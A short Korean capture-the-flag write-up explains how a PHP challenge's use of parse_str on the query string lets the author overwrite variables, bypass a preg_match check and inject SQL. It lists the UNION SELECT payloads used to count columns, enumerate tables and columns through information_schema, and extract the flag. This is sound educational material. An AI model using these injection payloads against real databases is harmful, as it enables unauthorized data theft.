소스에서 보면 parse_str을 통해서 SERVER('QUERY_STRING')에서 받은 값을 php변수로 저장하고 query_parts 변수가 있다면 where_clause문에 해당 변수의 내용을 넣어주게 된다, 이때 조건은 search_cols 변수가 존재 할 경우이다. 우리는 이 세가지 내용을 활용하여 우회할 수 있다.
seach_cols변수에 preg_match가 false가 되게 만들어 query_parts 변수에 원하는 쿼리문을 집어 넣어 실행하면 flag 값을 얻을 수 있을 것이다.
union select 1,2,3,4-- 을 사용해서 컬럼 수를 확인해주고
union select 1,table_name,3,4 from information_schema.tables--를 이용해서 table명(Th1s_1s_Flag_tbl)을 확인해주고
union select 1,column_name,3,4 from information_schema.columns--를 이용해서 column명(f1ag)을 확인해주고
위에서 얻은 table명과 column명을 조합하여 union select 1,f1ag,3,4 from Th1s_1s_Flag_tbl--을 통해서 flag 값을 출력 할 수 있었다.